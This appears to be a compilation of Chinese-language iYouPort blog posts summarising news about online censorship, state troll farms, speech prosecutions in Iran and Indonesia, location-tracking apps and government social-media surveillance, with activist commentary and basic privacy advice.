2018年6月25日，Amini 将因“侮辱先知”、“侮辱最高领导人”、“危害国家安全”、“反国家宣传”和“扰乱公共舆论”等罪名受审。由于伊朗在与外国媒体交谈中的敏感性，上述消息人士要求匿名。

2017 年12月2日，这名 47 岁的移动电话修理工 Amini 在德黑兰被伊斯兰革命卫队（IRGC）情报机构逮捕，他在 Telegram 频道中使用的笔名是 “Ariyobarzan”。

据与 CHRI 交谈的消息人士透露：

Hamidreza 创建了一个 Telegram 频道，任何人都可以发表自己的观点，**IRGC** 要求他一个人对其他人所写的所有内容负责，当他告诉调

查人员他没有写这些东西时，他被告知，他的频道和相关团体已经被关闭，因此 IRGC 可以以任何理由指责他。

“首先，任何人都可以自由表达他们的观点，这就是 Hamidreza 和他的团队成员所做的，”消息人士说。“但是他被指控的大部分罪名，包括’侮辱先知’，都来自其他人撰写的内容 …… 他一个人因 **3000** 多人的言论而被起诉。”

伊朗伊斯兰刑法第 262 条规定：任何诽谤他人或诽谤任何伟大先知的人，都应被视为 *Sābul-nabi[a person who swears at the Prophet],*，并判处死刑。

Amini 被捕后被单独关押在 Evin 监狱牢房 2-A 中，在那里他被审问，并无法获得律师的协助。

2018 年 2 月下旬，他被转移到位于德黑兰以南 20 英里的 Fashafouyeh 德黑兰监狱，在没有经过法院命令的情况下。据消息人士透露，他在 6 月 3 日开始绝食抗议，之后被送回埃文监狱。

消息人士补充说，Amini 因绝食的影响而住院治疗，但在治疗结束前就被转回了监狱。

Telegram channel creator could get death penalty for “insulting the Prophet”

原文

利润丰厚的在线删帖业务 - iYouPort

中国-半壁高堡奇人你的反乌托邦在线生活阴云密布关于中国社会

当封锁成为巨额利润的生意，就会拉动举报成为衍生产业。中国的官媒正在发起一个赚大钱的新渠道，他们是怎么做的？

「图」

「图」

当封锁成为巨额利润的生意，就会拉动举报成为衍生产业。

人民网是中国有影响力的官媒人民日报的在线部门，他们正在增加其人工智能支持的互联网审查进程，以审查并删除应用程序和广告中的内容—— 利用其无与伦比的共产党血统。

自去年中国当局再次收紧了已经非常严格的在线审查规则以来，上海人民网提供的在线审查服务的需求量一直在飙升。

作为人民日报的一个部门—— 执政的共产党的喉舌—— 它被客户视为首选的在线审查员。投资者同意，自2019年初以来，People.cn的股票上涨约 240%。

“People.cn的最大优势在于它对政策趋势的准确把握，” 深圳独立分析师表示。这还真不是调侃。

近年来，中国已经关闭了成千上万的网站和社交媒体账户，当局称这些网站包含了非法内容以及“粗俗”的和色情材料。西藏、台湾、1989年对天安门广场的镇压甚至地方政府的丑闻都是容易受到审查的敏感话题。

人民网已经与包括中国主要的新闻聚合商“头条新闻”在内的科技公司达成了协议，以识别和删除任何不符合政府指导原则的在线内容。

其他合作伙伴包括“量子云”，这是一家总部位于深圳的科技公司，经

营近1,000个社交媒体账户，拥有数亿粉丝。

人民网在**1**月底表示，全年净收入预计将增长**140**%，是**2011**年以来的最大年度增幅。这意味着净利润高达**2.148**亿元人民币（**3193**万美元）。

该公司在向上海证券交易所提交的一份文件中表示，预计去年审查业务的收入将增长166%。

受到收入激增的鼓舞，人民网正在筹集更多的审查人员。本月，它与山东省济南市政府签署了一项“战略协议”，以帮助该市成为中国的*审查之都*。

据官方济南日报报道，**People.cn**的内容审查业务已经拥有数百名员工，将在济南设立了一家子公司，该城市靠近北京，并有大量的大学毕业生可以加入公司作为内容分析师。

据该公司称，People.cn审查的内容类型包括图像、文本、音乐、视频、应用程序、游戏、广告和动画。

People.cn的总裁 Ye Zhenzhen 在2月的一篇文章中写道，People.cn的在线内容审查平台可以通过人工智能和机器学习算法检测和删除大多数敏感的在线资料。Ye 说，最重要的是过滤掉和阻止“有害信息”，及时发现和纠正“错误的想法”。

AI 难以识别的内容和隐喻中的所谓“灰色区域”中的信息以及微妙的引用就留给了人类分析师。

“该平台根据共产党宣传部门的指示，不时调整关键词进行监控，”在美国上市的一家主要中国科技公司的北京经理表示，该公司曾与People.cn合作为其平台开发人工智能技术。

该平台会不断学习新的关键字和规则，例如通过记忆国家媒体的报道（简称通稿），这位未被授权与记者交谈的人说。

“随着最近一些大牌社交媒体账户被关闭，公司越来越重视内容合规性，”独立研究员表示。

“随着**5G**的发展，在线内容审查市场的空间和规模将越来越大。”

正如开头所言，当封锁成为巨额利润的生意，就会拉动举报成为衍生产业。当举报成为产业，恶意举报的泛滥就不足为奇了—— 知识分

子们喜欢采用的“互联网新阶层”论将被改写，因为举报互联网名人和举报不知名账户的收益肯定不同。

顺便说，该报道中有一个小错误：人民网和人民日报是内部切割的，前者的盈利不会有利于后者，就如新华网是股份制企业，而新华社是纯粹的党宣部门。这也是为什么人民日报去寻求习近平的资助就在人民网盈利惊人的同时。当然，对于读者来说它们没什么不同，都是宣传部门而不是媒体。

Censorship pays: the Chinese Communist Party’s newspaper expands lucrative online scrubbing business. Full-year net income is expected to have risen as much as 140 percent, People. cn said in late January, the biggest annual increase since 2011. That would mean net profit of as high as 214.8 million yuan ($31.93 million).

原文

塔吉克斯坦据称和中国一样大批雇佣五毛，但不同在于... - iYouPort

你的反乌托邦在线生活阴云密布

准确说是 trolls；因为这些人所做的不只有谩骂诋毁，还有网络攻击。

「图」

「图」

这份报告给出了关于无偿 trolls 的举报口供。但是还缺少一些东西，你能看出它缺少什么吗？

中国的五毛究竟是被雇佣的还是被迫的或者自愿的？从来没有系统的调查。如果是被雇佣，需要资金为证据；如果是被迫，需要团体证词。

塔吉克斯坦拿出了一些证据，某些逻辑上与中国的情况有相似之处。但似乎一些细节上更惊人。

根据 RFE / RL 获得的文件和个人证词，塔吉克斯坦的大学生、官员和讲师受到国家的压力，被迫担任在线 trolls，以对抗反对派人士和其他政府批评者。

根据与 RFE / RL 交谈的五位消息人士透露，该活动涉及数百名被招募为“响应工厂”工作的人，该“工厂”要求每个人建立多个假社交媒体账户，作为亲政府宣传活动的平台。

该响应工厂是政府努力反击所谓的在线“诽谤运动”的一部分，政府声称这是由反对派精心策划的，并声称反对派使用了自己的虚假社交媒体账户。

他们的活动主要包括分享和“点赞”诋毁政府批评者的材料、参与社交媒体辩论以攻击反对派人士、以及促进国家宣传。

这些被迫的参与者说，他们没有因此得到任何补偿，但是如果不遵守规定可能会产生不利的影响。

没有酬劳就意味着没有资金记录可以作证，这是最麻烦的一种。

这五个人 —— 他们都是因为害怕受到影响而不愿透露姓名的大学生或讲师 —— 他们说他们收到了大学管理部门和教育科学部的命令，而后者是接到了执法机构的指示。

他们告诉 RFE / RL，新加入的人必须向主管提供他们日常活动的详细记录，并附上他们的帖子截图，不论是“点赞”还是评论。

据估计，新招募的有400人。

“这些新兵每个人都有大约10个虚假的社交媒体账户，因此总共有大约 4,000个假账户积极参与社交媒体辩论……试图操纵公众舆论，”消息人士称。

根据与RFE / RL交谈的人士说，“新兵”被分配为几个被称为“信息分析小组”的小型团队。每个小组都有自己的团队领导。

RFE / RL的塔吉克服务部门获得了几封新建或说明的副本，消息来源称这些信件或说明通过电子邮件发送给学校和大学校长以及“信息分析小组”。

其中一封邮件的副本提醒收件人，被禁止的伊斯兰文艺复兴党领袖 Muhiddin Kabiri 计划在 Facebook 和 YouTube 上进行直播。

这封信4月份被送到学校和大学校长，标题是：注意！注意！注意！。“Kabiri 今晚在20.00再次上线，”这封信说，呼吁接收者 “在采访中” 活跃起来，并准备好问题和评论。

Kabiri 目前生活在欧洲，是自我流放人士，也是该信息战运动的主要目标。

RFE / RL获得的另一封信表明公众对政府3月宣布的提高互联网服务价格的计划感到愤怒。

那封信的标题是：紧急！保密！，并发送给学校、学院和大学的领导人以及信息分析小组的负责人和成员。

“众所周知，某些团体……正在试图利用互联网价格上涨作为借口，

敦促 Dushanbe 居民、特别是年轻人，举行抗议活动。他们计划在未来几天内在首都举行集会”……这封信未注明日期也未签名，信中强调，“防止这种不良行为”需要“全面努力”。

这封信发布了具体指示以捍卫政府政策，包括谴责抗议集会的呼吁，并“通过社交媒体，特别是 **Facebook** ” 呼吁和平与稳定。

这封信表明“知识渊博的学者应该利用他们的经验和技能”发表相关文章来帮助这项宣传工作；邮件还指示接收者向当局报告任何可疑活动，包括记录是谁在社交媒体上发出了抗议的呼吁。

由于公众的愤怒日益加剧，Emomali Rahmon 总统在4月份推翻了提高智能手机用户互联网费用的不受欢迎的举措。

政府经常封锁社交媒体和独立新闻网站。该国许多互联网用户抱怨互联网速度缓慢。

当局不承认时怎么办

RFE / RL联系教育和科学部时，他们承认向学生发送了“一封信”，但是否认他们在政府招募 trolls 的行动中发挥了任何作用。

“我们给[学生]发了一封信，但并不是为了建立巨魔农场。这封信是在很多年轻人加入像伊斯兰国这样的恐怖主义和极端主义团体的时期发出的，”该部门发言人 Ehson Safarzoda 说。

“在信中，我们注意到大学需要建立[反极端主义]宣传小组来组织与学生的讨论，”他告诉 RFE / RL。

尚不清楚 Safarzoda 所提到的信件是否属于 RFE / RL 获得的信件。

然而，一封由教育和科学部信笺抬头并由副教育部长Rahmatullo Mirboboev签署的信件提到了对极端主义在社会中蔓延的担忧。信件要求努力阻止年轻的塔吉克人加入“极端主义和激进的党派和运动”。

这封信的日期是2019年2月6日，指示学校负责人和“信息分析小组”根据反对极端主义的标题准备文章。

与 RFE / RL 交谈的人说，该部发出的指示和信件频繁出现，远非这一次。

⚠这里的问题就在于，需要能证明指示宣传战的邮件来自教育部门，

包括对附件的元数据和对邮箱地址的追踪；更好的是，在举报宣传战之前拿到录音和视频，关于这些受雇者如何与 trolls 主管交流“工作”，并保存完好元数据以证实未被篡改。

无偿的 **trolls**

五位举报人描述了他们如何被指示使用任何可用的在线手段，包括糟糕的攻击性语言和虚假照片，来攻击政府批评者和活动家。

此外，他们经常被要求为各种出版物撰写文章，一名新兵将其描述为最不受欢迎的任务之一。

“一个学生，或一个生物老师……他们对撰写[政治类]文章一窍不通”，他说。

⚠“其他活动还包括试图破解各种帐户，制造虚假网页以冒充他人……并向某些目标人发送威胁邮件。”

与RFE／RL交谈的五个人说，新兵必须按照自己的时间进行trolling，没有经济补偿、也没有当局的任何其他奖励。

塔吉克大学雇用的一名新成员说：“我厌倦了整天写关于某人坏话的文章，或点赞和评论那些 Facebook 帖子。”

然而，另一个人说，他们除了遵守之外别无选择。“如果你拒绝这样做就可能找不到工作，而且他们也会用各种方式让你蒙羞，”他说。

另一位说他辞职了，现在离开了这个国家。

注：根据我们前面的分析，您现在应该能了解到如何拿到证据，以令当局无法反驳。无偿的雇佣是最麻烦的一种（如果有偿，仅仅通过资金路径就可以取证）；对于无偿的宣传战组织，不仅需要举报人的证人证言，还需要更多的数据物证。

另附《什么是证据，什么是调查》；一个追踪技巧的介绍《如何挖掘机器人水军的幕后推手？》；还有一个追踪演示《网络水军如何试图影响选举？ 一个调查案例，观察对选民的在线心理战》。

Tajik Students, Educators Claim They’re Pressured To ‘Troll’ Government Critics

原文

数以千计的公司在监视你，并不完全是为了广告，更有为了政府 - iYouPort

你的反乌托邦在线生活阴云密布

剑桥分析丑闻让 Facebook 陷入争议漩涡，但 Facebook 只是众多监视用户的企业之一。哈佛商学院教授 Shoshana Zuboff 称这种商业模式为“监视资本主义”。整个行业比你想象的更毛骨悚然。

美国销售用户数据的企业有 2500 到 4000 家，大部分公司的名字你可能听都没有听说过。他们在你我不知情或同意的情况下将数据出售给愿意付费的任何人。Facebook 和 Google 以提供免费服务的形式来换取你的数据。

Google 对你的监视可能更深入和私密，因为我们不会对搜索引擎说谎。Google 收集和保存了我们的兴趣和好奇、希望和恐惧，以及欲望和性倾向。

智能手机可能是至今发明的最私密的监控设备。它持续跟踪我们的位置，它知道我们居住在什么地方，在何处工作，在何地消遣。我们每天都会不断的检查手机，它知道我们什么时候醒来什么时候睡觉，因为人人都有手机，因此它还能知道我们和谁一起睡觉。

监视资本主义 驱动大部分互联网，这是一种心理操控，为什么？这里是我们的分析。[[

|https://web.archive.org/web/20210815194559/https://pao-pao.net/article/1023]]

谷歌收集 = 政府收集。斯诺登的文件中最著名的几个之一就是：国安局与世界上最大的互联网公司——Facebook,Yahoo,Apple,Google 等签订的秘密协议，国安局可以从9大互联网公司的服务器上直接收集数据。其中与之合作最密切的是微软，国安局直接可以进入其通讯平台Skype和Outlook！

中国呢？期待揭露者。

It’s not just Facebook. Thousands of companies are spying on you

Harvard Business School professor Shoshana Zuboff calls it “surveillance capitalism.” And as creepy as Facebook is turning out to be, the entire industry is far creepier

原文

来自 WhatsApp 的言论罪 - iYouPort

你的反乌托邦在线生活阴云密布

在WhatsApp发布信息的人被判刑18个月，她是如何被抓住的？此案应该提醒人们哪些安全准则？

「图」

「图」

人权观察指，印度尼西亚司法委员会应审查泗水地方法院（Surabaya）起诉 Saidah Saleh Syamlan 的刑事诽谤罪名。

2019年2月26日，法院以涉嫌诽谤罪判处 Syamlan 10个月的监禁，涉事的具体内容是通过 WhatsApp 向两家银行发送了四条关于公司业绩的信息。她否认发送消息。人权观察说，印尼政府应废除限制在线和平言论自由的刑事条款。

印度尼西亚研究人员 Andreas Harsono 表示，“根据发送 WhatsApp 的信息批评公司的脆弱证据将某人送进监狱，将对言论自由产生灾难性的影响。”“Saidah Syamlan 的案件表明，刑事诽谤法可能会受到具有政治或财政权力的人的操纵，这些人可能会影响调查人员的行为。”

Syamlan 的丈夫 Aziz Hamedan 长期担任 Pisma Textile 的财务总监，但在2016年退休。WhatsApp 的消息是用爪哇语发表的四个短句，分别于2017年6月23日发送给雅加达的两位银行家—印度尼西亚进出口银行和印度尼西亚国家银行的官员—内容是质疑 Pista Textile 的信誉，Pista Textile 是一家著名的纺织公司。

2017年9月12日，**Pisma Textile** 的律师 **Muhammad Bayu Kusharyanto** 向泗水警方报告了“该手机号码的拥有者”，指控发件人诽谤该公司，并提供给警方聊天消息截图。

2017年10月4日，泗水警方询问了 Hamedan 和 Syamlan。两人都否

认发送消息。

Syamlan 承认显然用于发送这些消息的号码是她的，但她说很长时间没有使用这部电话了。说，手机已经坏了，并且在2017年4月丢了。她说她之后使用了一个不同号码的新手机。

Syamlan 本人是一名出生于雅加达的阿拉伯人，她在法庭上说她不讲爪哇语，尽管爪哇语在泗水广泛使用。大多数印度尼西亚公民使用本国语言，印度尼西亚语和他们各自的母语。

2018年1月15日，警察搜查了 Hamedan 和 Syamlan 的家。根据 Syamlan 的说法，警方没有发现任何设备连接到这些消息。然而，在2018年3月，警方指控 Syamlan 犯有刑事诽谤罪。Syamlan 告诉泗水警察局的内部安全部门，她觉得自己受到了骚扰和恐吓，并向该部门投诉，但警方调查人员很快将她的案件送到了泗水检察院办公室。

她的审判发生在2018年10月至2019年2月之间。根据第27（3）条和第45（3）条，检察官要求判处18个月徒刑和5亿印尼盾（35,500美元）的罚款，这些条款涉及“电子诽谤”罪名，来自2016年泰国的电子信息与交易法案（互联网法）。

2019年2月26日，泗水地区法院判定 Syamlan 犯有诽谤 Pisma Textile 的罪行，判处她10个月监禁，并处以500万印尼盾（355美元）的罚款。她仍然可以上诉。

2010年，人权观察发布了对印度尼西亚刑事诽谤法（包括2008年互联网法）的负面影响的分析，并敦促废除这些法律。这些法律可以被有权势的人利用，以报复那些指控腐败、欺诈或指出强大利益或政府官员的不当行为的人。

2016年，众议院修改了2008年互联网法，将诽谤的监禁期限从六年减少到四年，但如果通过互联网传播所谓的“诽谤性言论”，则将保留刑事处罚。

人权观察指出，印度尼西亚政府应废除包括在2016年“互联网法”中的刑事诽谤条款，将其替换为民事诽谤条款，其中包含足以保护言论自由免受不公正干涉的保障措施。

Harsono 说：“令人震惊的是，像 Syamlan 这样的人可以根据模糊的和严重的刑事诽谤法入狱，足够证实这些法律本身就有问题。”“相反，政府应该制定民事而非刑事处罚，并且只适用于信息而不是意见

的情况，只适用于造成真正伤害或损害的明显虚假声明的情况。”

此案提醒注意：虽然我们必须强调使用加密通讯应用是第一步（不推荐WhatsApp）但您必须确保与之交流的人是具有充分安全意识的——不会截图保留的人；并且，如果您必须使用signal等需要手机号注册的加密通讯应用，请避免使用自己的真实手机号、避免使用在其他平台使用的名字、头像和简介。更多详见《如何在不必暴露真实电话号码的情况下使用 Signal》

Indonesia: Prison for WhatsApp Messages. Repeal Criminal Defamation Provisions in Internet Law

原文

此应用程序让您的 Instagram 粉丝跟踪您的位置 - iYouPort

你的反乌托邦在线生活阴云密布

简单说：只要关注你，就可以跟踪你。包括私密账户，也能做到。

「图」

「图」

听起来挺骇人的，但是，要知道，这里面并没有入侵行为；仅仅是搜集了用户主动贡献的数据，然后，赚了一笔。

这件事有趣就在这里。

你知道去年夏天你点赞的 Instagram “朋友”都做了什么吗？一个APP可以告诉你一切。

被称为 “Who in the Town” 的iOS和Android应用程序表面上是为了向您展示，嗯… “who’s in town”；但它远不止于此。

下载应用程序并授予其访问 Instagram 帐户的用户会看到他们所关注的人访问过的所有地点的怪异互动地图，只要他们标记了自己的帖子。

该地图是实时更新/追踪的，并且源自 Instagram 用户每次选择在帖子中使用其流行的地理标记功能时上传到该平台的大量位置数据。

这些信息名义上已经公开，因为 Instagram 用户必须选择与他们的粉丝分享。

但是，随着时间的推移将这些数据全部集中在一起后，**Who in the Town** 将那些最初看起来毫无意义的数据点转变成了一个全面的个人习惯和历史记录 —— 任何拥有 Instagram 帐户的人都可以被这样追

踪。

你能通过这个APP看到你的联系人的全部生活，他们喜欢哪个咖啡馆或餐厅，行动路线是什么样的，等等一切，在个人资料中不会显现的东西。

“数据量是疯狂的”，该应用程序的创建者 Erick Barto 说。

他使用 Who’s in Town 进行的预发布研究跟踪了超过 15,000 名活跃的Instagram用户。

Barto 表示，发现周末发布 Instagram 帖子的人中有30％至少在一个位置进行了地理标记。

“从隐私的角度来看，这种程序的能力是有问题的，因为长期聚合数据很可能会以各种方式被滥用”，伊利诺伊大学芝加哥分校的安全研究员和助理教授 Jason Polakis 说。

Polakis 表示，用户的总体位置数据可以显示有关他们日常生活的敏感信息，例如当一个人正常外出或正在工作时—可以用来确定他们的家何时没有人，并且能够跟踪行径、或者揭示社交关系甚至私密关系，基于帖子的时间和地点的相似性。

他指出，这些信息也可以被公司用来推断一个人隐藏的习惯或特征。

例如，一家健康保险公司可以扫描潜在客户的地理标记历史，以比较他们经常光顾酒吧和健身房的频率。

“虽然该应用程序的功能并没有做出任何复杂的事，但是可以肯定不应该这样做，”Polakis 说，“它确实可以大规模地简化和促进潜在的侵入行为，因为安装该应用程序的任何人都可以访问此功能。”

看一个视频：

安装完成后，Who’s in Town 会对您关注的人提取发布数据，可以追溯到每个用户帐户创建的最初，以及当天发布的故事中的地理标记。

由于 Instagram 故事（以及其中包含的任何地理标记）在24小时后会消失，因此较旧的故事将不会显示在地图上；但是，安装该应用程序的时间越长，地图就越详细，因为它会从您朋友分享的每个后续被地理标记的 Instagram 故事中汲取数据。

该应用程序有两种查看模式：普通模式和单一用户模式。

普通模式向您显示您所关注的所有人访问过的每个地方的地图，对于那些关注了很多人的用户来说，这是一个很大的窥视窗口。

单一用户模式允许您跟踪特定的人，可以显示目标用户当前位置和日常习惯的大量信息。

「图」

「图」

「图」

「图」

Barto 说，最令人毛骨悚然和担忧的就是这点。

他创建了这个应用程序来说明用户愿意在公共平台上分享的敏感和有用的数据有多少，而没有考虑 Instagram 和外部开发人员对它的访问权限，或者他们可以用它来做什么。

“人们没有意识到他们正在分享什么，” **Barto** 说。 “他们 **[**在**]** 假设这些信息只发给少数人的**……** 但这一切都是公开的。”

就算登录该应用程序的人是私密用户的关注者，Who’s in Town 也可以从私密 Instagram 帐户中提取数据。

Instagram 用户无法确定自己的某个关注者是否正在使用像 Who in the Town 这样的第三方应用程序来搜集和汇总他们的私人数据，因为这东西在 Instagram 的范围之外运行，并且只需要一方的同意。

Instagram 发言人表示，它正在根据平台政策审查 Who’s in Town，如果发现任何违规行为，将采取行动。

Who’s in Town 不是 Barto 做的第一个涉嫌侵犯隐私的应用程序。

去年三月，他还发布了一款叫 Chatwatch 的应用程序，该应用程序允许用户通过利用 Messenger 的状态功能监视他们在 WhatsApp 上的朋友，该功能显示用户何时在线或离线。

该应用程序使用这些数据告诉用户他们的“朋友”检查 WhatsApp 的频

率，什么时候醒来什么时候入睡，以及他们的哪些联系人可能互相发送消息。

在用户表示对隐私影响的担忧后，该应用程序已从 Apple 商店和 Google Play 中删除。

请一直记得，**WhatsApp** 和 **Instagram** 都归 **Facebook** 所有，它们在数据隐私方面有着自己的惊人丑闻。

在 Chatwatch 被从应用程序商店中删除后的几周内，Barto 表示 Apple 和谷歌还删除了所有其他类似的第三方应用程序，这些应用程序将 WhatsApp 用于相同类型的用户数据调用。

同样，Barto 指出，Facebook 在该应用程序病毒式传播后不久就禁止了他在 Chatwatch 中使用的公司 Graph API 流行漏洞，WhatsApp 后来推出限制所有用户访问其朋友状态的更新。

Barto 说，他希望 Who’s in Town 可以发生同样的情况，可以在 Apple Store 中下载，也可以在 Who’s in Town 的网站上下载。

他说，该应用程序的开发成本很高，因此每月需6.99美元的费用。

但他承认，该应用程序可能不会存在足够长的时间，难以收回所有的开发成本。

最终，Barto 表示，他希望 Who in the Town 可以证明滥用的可能性会导致 Instagram 改变其存储方式并允许第三方访问此类数据。

但是这里还有其他的东西在起作用。

“如果确实被删除了，这意味着无论你的朋友与你分享了什么数据，你都无权了解 —— 当然，公司了解，”他说。

“但是，如果公司可以收集所有这些数据并从中盈利…… 那为什么你我不能把它们全部放在一起并从中获得一些价值呢？”

这个问题就是此事最有趣的部分。几大寡头删除这类第三方应用程序的目的与保护用户隐私无关，而是，不打算与其他人分享他们对数据的垄断权。

简单说：你想被谁监视？寡头公司？任何中间商？还是你的“朋友”？或者，你为什么要分享这些数据在互联网上？〇

THIS APP LETS YOUR INSTAGRAM FOLLOWERS TRACK YOUR LOCATION

原文

社交媒体情报是什么？它正在如何威胁你？ - iYouPort

你的反乌托邦在线生活阴云密布

针对社交媒体 —— 世界各国的政府-不管是民主的还是不民主的-一直都在发展对这种”快速、廉价和简单”监控形式的不断增长的胃口。 这甚至在很大程度上不是非法的， 但是危害非常严重！

「图」

「图」

社交媒体情报（SOCMINT）是指允许公司或政府监控社交媒体网站（SNS）（如 Facebook 或 Twitter）的技巧和技术。

SOCMINT 包括监视内容，例如发布的消息或图像，以及当有人使用社交媒体网站时生成的其他所有数据。涉及个人对个人、个人对群组、群组对群体，私人和公共互动全部包括。

分析社交媒体网站的方法各不相同。方法可以包括：在公共或私人群组或页面中发布内容时手动审查内容；审查用户的搜索和查询结果；审查用户发布的内容的活动或类型；以及“刮取”—提取网页内容—以令收集社交媒体情报的人员可直接访问的方式复制内容。

值得注意的是，社交媒体情报可能包括收集、保留和分析大量社交媒体数据的工具，并利用这些数据做出趋势分析。

问题在哪儿？

近年来，情报和监视活动发生了明显变化，部分原因是人们产生的数据量在增加，需要通过新形式的数据收集和处理实现。 **SOCMINT** 是一种公开和隐蔽的监视形式，越来越多地被政府和非国家行为者使用。

“社交媒体情报”一词通常与“开源情报 OSINT”一词互换使用。但是，这两种情报收集形式之间存在着本质性的区别。

SOCMINT 可以部署在私有或公开的内容上，而 OSINT 则是严格限制为公开的内容，例如文章、新闻网站或博客，以印刷品和开放的互联网形式发布，并且明确用于每个人阅读浏览。SOCMINT 需要更具体的监管、政策和保障措施，考虑到社交媒体的独特性和特殊性：一个私人拥有的空间（即由私人公司拥有）人们在那里分享内容。

虽然公开和秘密监视的界限越来越模糊，但社交媒体情报中受监管最少的方面涉及监视社交网站上的公开数据。在社交网站环境中，当信息不仅可以访问您的联系人、而且可以访问未登录SNS的人员或组织、或者某个人或组织已登录但不是经过验证的联系人时，信息将被视为公开可用的（例如 Facebook 上的“朋友”或 Twitter 上的“追随者”）目标个人用户。

执法机构或维稳部门试图秘密添加目标用户为经过验证的联系人，使用虚假档案，他们能获取比公开信息更多的信息，此举应被视为秘密监视，应该通过限制和保障措施加以解决，类似于在物理空间进行秘密监视活动的那种。

也就是说，任何渗透进入人与人之间、人与组织之间、团体之间互动的企图，都属于隐蔽的国家间谍行为，需要受到法律的严格监管。因为这相当于干扰了个人的隐私，除非它能够被证明是明确必要的，并且与实现合法目标相称。

然而，执法部门和其他维稳机构认为，社交媒体情报对人们的隐私几乎“没有影响”，因为它只“依赖”公开信息。SOCMINT 的这种不准确表达无法解释收集、保留、使用和共享个人数据的侵入性。

因为在线发布数据的社交媒体平台涉及个人隐私。举例来说，从移动电话发布的“推文”可以揭示用户的位置数据，并且其内容还可以揭示个人意见（包括政治观点）以及关于个人偏好、性偏好和健康状况等信息。

相反，社交媒体上“公开可用”信息对隐私没有任何影响这类错误概念，导致了这种形式的监视大多不受监管或没有明确的规定来约束。

结果导致了这样一种情况：执法官员（和情报机构）可能认为某个社交网站设置为公开可用的所有内容都是公平的游戏，以便他们随意访问、收集和处理。这是完全荒唐的。

SOCMINT 是非法的吗？

使用社交媒体情报是对人们隐私的侵犯，因此必须遵守合法性、必要性和相称性的国际原则。

虽然它是公开的信息，但适用国际人权标准。

欧洲人权法院长期以来一直认为“即使在公共场合，也有一个人与他人互动的私有区域，这可能属于”私人生活“的范畴。例如，在评论CCTV的使用方面，法院认为“无论是在街道上还是在公共场所，监视摄像机都是正常使用的，它们是合法有可预见的目的。但是，可能会出现关于数据记录对私人生活问题造成的系统性或永久性影响“。

而且“法院在这方面考虑的因素还包括，是否存在关于某个人的数据汇编，是否已被处理或使用的个人数据超出了通常可预见的方式或程度。“

事实上，如果不加管制，例行收集和处理公开信息行为可能会导致我们在其他形式的秘密监视或其他警察行动中发现的那种滥用行为。

例如，考虑到潜在的滥用行为很可能包括执法机构系统性地针对某些种族和宗教群体。如果警察的 SOCMINT 活动没有通知，缺乏透明度和监督，如何保证在线监控不存在种族或宗教偏见？美国公民自由联盟提交的 Raza 诉纽约市的案件透露了纽约警察如何系统地收集有关穆斯林社区的情报。部分监控就涉及 SOCMINT。

它也完全会对言论自由产生寒蝉效应。社交媒体情报不仅会影响目标人群：它还会影响其人际网络中的所有人。虽然人们可能同意在社交网站上进行的聊天是“公开”的（例如回复推文），但是，如果您与之交谈的人正在受到警方或情报机构的监控，则会有不一般的麻烦。

挪威技术委员会的一项研究向挪威人询问：警方是否应该监控开放的社交媒体平台。 40%的受访者表示，此类监控将阻止他们使用有可能被警方或情报机构介意的任何特定词语“关键字”。

SOCMINT 如何被政府滥用？

世界各国的政府—不管是民主的还是不民主的—一直都在发展对这种“快速、廉价和简单”监控形式的不断增长的胃口。

SOCMINT 可以包括以非用户身份访问网站的政府代理（例如使用网络浏览器查看内容而无需登录）、经过身份验证的虚假用户（例如

@solpect之后的@policeagency）、使用虚假配置文件（例如@GeeSeaAcheQueue）、拦截数据流（例如在用户的设备上或在用户的互联网服务提供商处）、以及通过从社交网络本身请求数据。

"在泰国"，技术犯罪抑制部门不仅拥有一个由30人组成的团队，负责扫描社区媒体内容，并且，同时也鼓励公民举报其他人在网上发布的政府不喜欢的内容—— 这点和中国一样。特别是，他们通过“网络侦察”计划瞄准年轻人，并对群众斗群众中的举报者施加奖励。

很多"巴勒斯坦"人只因在社交网站上发布内容就被以色列警方逮捕。其中一个案例涉及一名15岁的少女，她发布了 Facebook 状态只是简单地说“原谅我”。以色列当局怀疑这可能表明她“即将发动袭击”。

"在埃及"，内政部于2014年发出招标（文件在网上泄露），以便为警方采购社交媒体监控系统。埃及政府的警务部门希望通过定位追踪发起人来阻止抗议活动。

"在美国"，ZeroFOX 公司受到了严厉批评，当时该公司与巴尔的摩市官员分享了一份报告。在报告中，该公司展示了其社交媒体监控工具如何监控弗雷迪格雷的葬礼之后发生的骚乱

（弗雷迪格雷是一名25岁的非洲裔美国人，被警方枪杀）。该报告指出，有19名威胁行为者监视民权运动 #BlackLivesMatter 的两位主要领导者。

"在英国"，2011年英格兰、威尔士和北爱尔兰首席警察协会就反水力抗议活动的警务指导表明，“社交媒体是任何……情报来源的重要组成部分。” 通过社交媒体分析密切监控 2013 年的抗议活动。 2013年的一份报告显示，**17**名官员正在扫描公众的推文、**YouTube** 视频、**Facebook** 个人资料、以及英国公民在公共在线领域发布的任何其他内容。

谁构建了允许 **SOCMINT** 监视的技术？

有两个行业在社交媒体情报中创建监控功能：监控行业和营销行业。这两个行业都在为公共和私营部门用户创建服务和能力。

虽然像 NICE（使用 NiceTrack Intelligence Services），NTREPID，Kapow Software 和 COGITO 这样的公司提供 SOCMINT 平台专门为政府而设计，但也有越来越多的政府机构—特别是警察部队—正在转向专为营销目的而设计的监视工具，以降低成本。

Dencik，Hintz，Carey 和 Pandya 在题为“管理’威胁’的报告中以维稳为借口。其中一位消息人士说：“很多东西都来自市场营销，因为市场营销正在使用社交媒体来了解人们对他们产品的看法……我们想要了解人们的言论，所以警方和政府几乎反过来使用这些工具。”

一些社交媒体公司已在其服务条款中纳入了禁止使用收集数据的一些技术，例如“刮刀”，这是 Facebook 和 Twitter 等SNS禁止的做法。然而，为了抵消这种限制，一些营销公司直接从**SNS**购买数据。这就引发了更多重要问题，因为 Facebook 承诺过他们绝不会“出售”用户数据。

SOCMINT 的其他趋势

对于政府——

用于进行社交媒体情报的技术允许政府大规模地持续监控社交媒体。

所谓的预测性警务计划使用来自社交媒体网络的数据以预测某人犯罪的可能性。在堪萨斯城，“堪萨斯无暴力联盟”是由当地警方领导的一项监视计划，旨在识别“未来的罪犯”。该监视算法结合了从传统警务中获得的数据，但也包括 SOCMINT。政治机构正在监控社交媒体，以了解和维稳公众情绪。

Squeaky Dolphin 是由英国间谍机构政府通信总部（GCHQ）开发的用于收集和分析社交网络数据的计划，旨在监控英国人对特定政府部门的态度。

